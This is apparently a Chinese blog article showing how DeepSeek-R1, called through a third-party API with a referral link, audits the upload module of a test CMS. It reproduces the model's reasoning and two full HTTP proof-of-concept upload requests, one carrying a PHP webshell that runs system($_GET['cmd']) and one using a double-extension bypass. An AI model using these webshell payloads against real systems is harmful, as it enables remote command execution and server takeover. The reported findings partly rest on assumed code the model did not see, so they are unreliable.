当前,AI大模型领域最受瞩目的非DeepSeek莫属,该大模型在数学、代码、自然语言推理等任务上性能对标 OpenAI o1 正式版。该模型已迅速被各大集团公司、国家超级计算机平台、部分地方政府部门以及AI同行广泛接入,显著提升了各领域的工作效率。为了进一步提高模型输出答案的准确性,DeepSeek推出了创新的DeepSeek-R1推理模型。该模型在生成最终回答前,会先输出一段详细的思维链内容,这一独特设计使其在GitHub开源平台上迅速吸引了77.2k(这个数值每天都在迅速增加中)的关注者,成为业界焦点。
在软件测试行业,我们也积极跟进技术前沿,各大软件质量团队纷纷引入DeepSeek,以提升软件产品的质量。借助DeepSeek-R1模型的“深度思考”和“准确推理”等显著优势,我们能够更加精准地定位软件或源代码中那些隐蔽且难以察觉的软件缺陷(Bug)。以我们近期测试的一套CMS系统为例,通过运用DeepSeek大模型对其源代码进行深入的安全漏洞检测(代码审计),我们不仅成功识别出了潜在的安全漏洞,还顺利获取了该CMS系统的控制权,充分展示了DeepSeek在软件测试领域的强大能力。
由于DeepSeek访问量较大,推理模型回复时经常出现“服务器繁忙,请稍后再试”的问题,稳定性较差。我们使用了派欧算力云提供的DeepSeek的API接口,满足本次代码审计的稳定要求。不过其他第三方的API可以考虑阿里云、腾讯云、硅基流动、字节火山等。
注册并登陆派欧算力云获取api key,使用以下URL注册双方各得¥50元代金劵。
https://ppinfra.com/user/register?invited_by=11QX33
基础环境安装
Python版本:Pyrhon3.8.8
安装openai:pip3 install 'openai>=1.0.0'
DeepSeek代码审计脚本:关注公众号(软件测评实验室),或通过官网:https://www.bjstos.com 扫描首页右下角的二维码或者公众号,公众号回复 "DeepSeek代码审计" 获取项目完整代码下载地址,再次感谢Mr.Robot同学的技术分享。
配置API Key和模型
main.py中配置api 接口以及 api key 信息,在派欧算力云平台https://ppinfra.com/settings/key-management创建API Key
api_client.py中调用模型的model和role,model也可以使用deepseek/deepseek-r1/community
配置DeepSeek模型问答信息
audit_logic.py中配置需要大模型要做的需求信息,根据需要自行修改。
配置要扫描的代码文件格式
file_processor.py中可以根据实际情况设置扫描的文件后缀,以及跳过扫描的目录。
DeepSeek代码审计实战
DeepSeek代码审计深度思考信息
好的,我现在需要分析这个上传漏洞的代码,找出可能存在的高危漏洞。首先,看到这个index.php文件,它根据cookie中的security级别来包含不同的处理文件,比如low.php、medium.php、high.php或者impossible.php。这说明不同安全级别下,上传的处理逻辑可能不同,可能存在不同的漏洞。 首先,我需要考虑当security级别为low时的情况。通常,在低安全级别下,可能没有足够的文件类型检查,导致可以上传任意文件,比如PHP脚本,从而执行恶意代码。查看low.php的代码可能会有简单的检查,比如只检查Content-Type或者文件扩展名,但这些都可以被绕过。 假设在low.php中,服务器仅检查上传文件的MIME类型是否为image/jpeg或image/png,或者只检查文件扩展名是否为图片格式。这时候,攻击者可以修改文件扩展名,或者在请求中伪造Content-Type,上传一个含有恶意代码的PHP文件。例如,将shell.php的文件名改为shell.jpg.php,或者直接上传.php文件并设置Content-Type为image/jpeg,从而绕过检查。 接下来,验证这个漏洞是否存在。构造一个HTTP请求,上传一个PHP文件,比如: <?php echo system($_GET['cmd']); ?> 然后,在请求中设置正确的Content-Type,比如image/jpeg,并观察服务器是否接受该文件。如果上传成功,并且返回了文件路径,访问该路径即可执行任意命令,证明存在高危漏洞。 另外,在medium或high安全级别下,可能有更严格的检查,比如检查文件头或者使用getimagesize()函数,但需要具体看对应的处理代码。不过根据当前提供的index.php代码,无法直接看到这些处理逻辑,所以需要假设在低安全级别下存在漏洞。 总结,高危漏洞可能存在于低安全级别的文件上传处理中,允许上传恶意PHP文件导致远程代码执行。
发现“不安全的文件上传导致远程代码执行”漏洞
发现“不安全的文件上传导致远程代码执行”漏洞,风险等级:高危,同时DeepSeek按照我的要求给出了验证POC,按照操作代码拿到用户权限。
### [不安全的文件上传导致远程代码执行] - 风险等级:高危 - 位置:/codeaudit/xxx/xxx/upload/source/low.php(假设低安全级别未做有效过滤) - 描述:当安全级别设置为low时,服务端未对上传文件进行有效类型校验,允许上传.php等可执行文件,攻击者可上传webshell获取服务器控制权 - 验证POC: POST /xxx/xxx/upload/ HTTP/1.1 Host: localhost Cookie: security=low; PHPSESSID=your_session_id Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: image/jpeg <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryABC123-- 成功上传后访问:`http://localhost/xxxx/hackable/uploads/shell.php?cmd=id`,将执行系统命令返回当前用户权限信息
发现“文件类型校验绕过”漏洞
发现“文件类型校验绕过”,风险等级:高危,同时DeepSeek按照我的要求给出了验证POC,通过双扩展名.png.php绕过基础过滤,上传成功后访问.php文件将触发phpinfo信息泄露。
### [文件类型校验绕过] - 风险等级:高危 - 位置:同上 - 描述:服务端仅检查Content-Type头或简单扩展名过滤,可通过修改请求包伪造合法类型上传恶意文件 - 验证POC: POST /xxx/xxx/upload/ HTTP/1.1 Host: localhost Cookie: security=low; PHPSESSID=your_session_id Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ789 ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="uploaded"; filename="image.png.php" Content-Type: image/png <?php phpinfo(); ?> ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryXYZ789-- 通过双扩展名.png.php绕过基础过滤,上传成功后访问.php文件将触发phpinfo信息泄露
代码审计完成
审计完成后,会在当前目录下自动生成MarkDown结果文件security_audit_report.md,为了更好的阅读体验建议使用Typora工具打开。
审计完成!报告已保存至:security_audit_report.md
本次代码审计工作中,我们采用了DeepSeek推理模型,显著提升了软件测试结果的准确性,进一步验证了AI大模型的强大能力。该模型不仅大幅提高了测试工作的效率和精准度,还有效弥补了软件测试工程师在某些方面的不足,从而全面提升了软件测试的覆盖率。